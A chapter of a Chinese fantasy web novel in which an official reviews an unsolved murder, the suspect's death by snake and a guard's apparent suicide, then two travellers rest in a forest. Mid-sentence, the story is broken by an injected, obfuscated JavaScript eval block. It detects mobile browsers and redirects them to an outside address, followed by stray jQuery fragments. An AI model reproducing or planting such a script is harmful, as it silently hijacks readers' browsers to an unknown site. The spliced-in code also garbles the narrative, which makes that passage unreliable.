高山上的小溪水 作品

59.第 59 章

兰梦乡府邸之中,万和中一筹莫展。


回想昨夜夜审,只觉得关于命案凶手,尚有许多未解之事。


那名为肖苇苇的女子身份不假,她自幼生长于兰梦乡,只偶尔到外乡做生意。酒铺是祖上留下来的,经营的不温不火,一直也没什么大名堂。


一切看起来平平淡淡。


可就是这平淡,此刻显得尤为突兀。


一个看着温良的普通女子,何以敢对客商利刃相向,一言不合便要人性命?


还有那锦带蛇。


肖苇苇不肯交代蛇母的所在,他于是派人询遍坊间,得到的信息却是从未听闻肖苇苇有侍兽,而乡城中的案卷中也是如此记载的。


这就怪了。


若是如此,之前出现在乡城郊外、攻击莫夜寒的那些锦带蛇是从何而来?锦带蛇又为何会听从肖苇苇的指令袭击吻虎?


还有一点,肖苇苇对吻虎渴求之深,也让万和中十分不解。


这桩桩件件,本该再寻机会审问清楚。然而如今,真相却如石沉大海,永远不得见天日了。


正无奈,有守卫推门进入屋内。


万和中这才抬头,问道:“如何了?”


“已办妥了。我见莫夜寒平安离开乡城,并无人尾随。”


“如此便好。”


守卫见万和中面前的案卷,道:“大人,可还是在想从前里壤乡的案子?如今看来,肖苇苇之事与买卖妖兽一案并无关系。”


“是啊。”万和中道,“这两桩案子手法完全不同,不是一人所为。”


万和中看看面前案卷,不禁回想起从前事。


一年多前,他正在回都城述职的路上,路过里壤乡,无意中被卷入一桩案件。


当时,刚刚被调回邢礼司的安平王爷也同样歇在里壤乡。


彼时,里壤乡有家人丢失了一只妖兽。后来调查得知,妖兽是被人这家人自己交给了外乡人,卖出了里壤乡。


护城统领正带着守卫四处查探,想要抓到买妖兽的人。


这事被安平王爷知晓了,便来询问。


里壤乡府领不愿将安平王爷牵涉其中,但也不能知情不报。不知出于何种考量,请了万和中一同主理此事。


买卖侍兽,于理不合,难容于法。况且此事也已引得安平王爷的注意,万和中虽无心插手外乡之事,但思量再三,最终没有推辞。


算起来,那还是万和中第一次与当朝王爷面对面。


然而查了十数日,连里壤乡府领大人都参与其中,也没有头绪。只知晓买妖兽的是个女子,买了妖兽当晚便离开了乡内。


除此之外并未获得新线索,最终无奈作罢。


而这件案子,最终成为了里壤乡一桩悬案,至今未破。


后来,万和中虽然离开了里壤乡,但一直将这桩事放在心里,留心收集线索。此次兰梦乡发生了肖苇苇欲夺吻虎之事,虽不是买卖妖兽,也属夺取他人侍兽。万和中便想,不知肖苇苇与一年多前里壤乡那桩案子是否有关。本想细细审问,但如今看来,却是不能了。


守卫见统领大人如此劳心,忍不住劝道:“万大人,事已至此,不急于一时,从长计议便是。”


万和中何尝不知道这道理。


只是如今,千头万绪,本以为可以即将拨云见日,怎料一日昼夜变化之间,之前所有的努力都化作了泡影。


“府领大人如何说?”


守卫回道:“府领大人已下令,将命案原委张榜告知乡城百姓,平息街头议论,免去城内恐慌。再将那酒馆查封,永不得再开。”


万和中眉头微皱,问道:“这榜,府领大人已写了?”


“是。”守卫回道,“榜已写好了。属下方才见人拿着出了府邸,想是去张贴了。”


“榜上如何说的?”


“只说肖苇苇因生意之事泄愤杀人,余下的都没提。”


万和中叹道:“如此也好。”转头又道,“纪楚,午后你随我再去审那守卫。”


纪楚面色不好看,道:“万大人,人已死了。”


“什么?”万和中吃惊,猛地从座位上站起身,“怎么死的?何时的事?”


“昨夜。据说是自杀。府领大人说此事不在追查了。说若让人知晓府邸守卫被杀人罪犯收买,有损府邸名声,对朝廷也无法交代,所以这事不能为府邸之外的人所知。”


万和中愣了一愣,默默坐回椅子上。


是他疏忽了,没有将人看的严些。如今人已死,许多真相也无从知晓了。


纪楚道:“依大人看,这人真是自杀?”


万和中思索片刻,问道:“案子的文卷处理的如何了?两位大人可看过?”


“依照大人的吩咐,将莫夜寒之事做了遮掩,不会再有旁人知晓她协助大人抓人之事。府邸中两位大人看过了,没提出异议,也没发觉有什么异常。”


“可提起过莫夜寒之事?”


“不曾。两位大人对此毫不知情。”


万和中道:“没有提出异议,不知莫夜寒之事。那守卫或许与他们并无关系。”


“或许是他们掩饰的好。”纪楚道,“他们本与那守卫有关,怕大人您查到什么,便杀人灭口,而后装作不知晓莫夜寒一事就行了。”


“若真如此,他们便不会轻易放莫夜寒离去。”


纪楚言道:“即便如此,那女犯的事,府户大人未必脱得了干系。被带进府邸的时候明明被搜过身,身上并无锦带蛇。怎么府户大人去审过她之后,女犯便被锦带蛇咬死?他如今还说是大人您疏于搜查,才让女犯将锦带蛇带入府邸,用锦带蛇自杀。简直就是在颠倒黑白。”


“这话,出了这间屋子不可再说了。”万和中叮嘱道,“今日起,命案之事、守卫之事都不可再提。还有,何允经手的商贾交易,暂时也不要再过问。”


“那锦带蛇之事也不查了?”


“府户大人什么意思?”


“府户大人说,无主的妖兽跑进乡城,会伤了百姓,还需大人赶快去查。”


“既如此,从今日起,乡城之内守卫加倍,巡守次数加倍。你安排好了,我便去回府领大人。”万和中道,“还有,告诉你手下的人,只寻锦带蛇,不管其他。若是找到了锦带蛇,直接带来府邸交给府领大人过目。”


纪楚问道:“若是找不到该如何?”


万和中道:“若那锦带蛇是肖苇苇的侍兽,肖苇苇已死,锦带蛇失去主人,只会返回故乡。最多半月,此事不了也了了。你去办吧。”


纪楚应下,又道:“大人。属下还有一事。齐攀去查那商人的身份,已有了眉目,他进城所用的身份确是假的。”


万和中抬眼,示意纪楚说下去。


“齐攀按照大人所说,将死者的身形外貌散布出去,他照办后,在死者下榻的客栈对面的客栈探查消息,遇到一名自西夜乡来做生意的客商。他认出死者有些眼熟,说很像他从前在都城文籍院见过的一个文院。”


“文籍院的文院?他有官职?”万和中显然对这样的结果颇感惊讶,问道,“那客商如何说的?”


“他说他与那被杀之人并不熟识,只因斗墨有数面之缘,因而不知那文院现今人在何处。”


万和中又问道:“他可知死者是何姓名?”


“只说是姓叶,其他的便不知晓了。”


万和中心中莫名升起一股不安,次叮嘱道:“此事除你、我、齐攀之外,不可再教第四人知晓。你需叮嘱齐攀,不要走漏消息。”


“是,大人。”纪楚应下来,突然又想起什么,一时不知该不该开口。


万和中见了,道:“有什么便说。”


“那人还说,这姓叶的文院有一只侍兽


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231257|162310||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


,是只砚龟。还说这砚龟砚图乃是一绝。”


“砚龟?”


万和中记得,他派人验看过尸首许多次,也让巡守案发之地的守卫留心可能被遗露的线索,但并没有人上报发现一只砚龟。


还有入城名册上,也未记载死者有侍兽。


他面色越来越沉,道:“此刻起,你便将这事忘了,对任何人不许再提。”


万和中言罢站起身,长叹一口气。


房间里一时没了声音,那些交谈彷佛也在这沉静的空气中渐渐消散。


许久,万和中合上面前案卷,对纪楚言道:“知会城门守卫,若是莫夜寒再入城,必要让我知晓。”


“是。”纪楚想起莫夜寒这几日的所作所为,道,“这莫夜寒胆子不小。若是一般人,面对大人提出的要求,定然犹豫,她却肯答应。我看她为人正直,又有吻虎做侍兽,这次出了这样的事,也肯相帮,足见人品可信。大人何不干脆将话说明,将她收入护城守卫队中,让她为乡城效力?”


万和中叹道:“若不是情势所迫,我本不该将她牵扯进来。让她卷入命案已是不得已,不可再将她牵扯进兰梦乡府邸之事。”他沉默良久,最终只道,“她非兰梦乡中人,兰梦乡不是落脚之地。”


纪楚只觉得似懂非懂。


林间一片草地上,莫夜寒盘膝而坐,身旁卧着吻虎与半膝。


她手中拿着之前缠在砚龟身上的金链细细端看,指尖拂过金色叶片上那个“庸”字,想起今早在府邸与万和中分别之时那一幕。


“只愿你此行万事谨慎,切不可轻信人言,即便是乡城府邸中人也不例外。”


她不知不觉间微微皱起眉,将那金链收入怀中。


李寒庭在一旁看着,歪了歪脑袋。


莫夜寒这一路无话,让李寒庭也跟着沉默起来。


此刻看着她拿着金链琢磨,怕莫夜寒是否还心挂着砚龟之事,于是道:“还在忧心那砚龟?”


“我只是突然想起那个故事。”莫夜寒道。


“哪一个?”李寒庭问道。


“楚父救女。”莫夜寒回道。


“怎的又想起这个?”


莫夜寒望向背篮中的书册,道:“没什么,只是突然想起来。”


莫夜寒这样子,倒让李寒庭想起曾经看了这故事不能释怀的自己。


直到今天,那故事他依然记得清楚,之所以这么多年未曾忘记,是因为那故事的结局与他所想大相径庭,年少时初读大为震惊,因而记忆犹新。


故事的最后,游医虽然按照楚父留在楚女衣服上的地图杀死了为恶的妖兽,但是却未能从妖兽处找到那传闻中能救人性命的良药,最终无法救下病入膏肓的楚女,眼看着楚女病重而亡。


为此,游医自认医术不精,自责许久,为楚家父女守墓三月,方才离去。


李寒庭以为莫夜寒许是同样为着故事的结局伤怀,所以才如此愁眉不展,于是劝道:“故事嘛,总会留些遗憾,哪有十全十美。”


他嘴上虽这么说,但仍记得自己当初看到这故事结局时的震惊,以至于全然未顾及李云屏还未读完整本书,一气之下将书丢进了火盆。


好在这书并不是什么孤本史籍,等缓过神来,怕李云屏找不到书伤心,急忙差人重买了一本,才没教李云屏察觉。


“或许是。”莫夜寒拍了拍脑袋,只觉得不知何时起,自己也有些多愁善感起来。


“早些歇吧。”她将身旁的东西理了理,靠在吻虎身侧,“明日还要赶路。”


事到如今,兰梦乡之事亦或是那砚龟今后的生存之事,都非她可以插手,还是先想着眼前之事要紧。


李寒庭驾轻就熟的趴上吻虎背,老实的躺下,看着头顶满天繁星。


夜间林中安静非常,虽没有软垫暖床在身下,但这份宁静,让他心中无比踏实。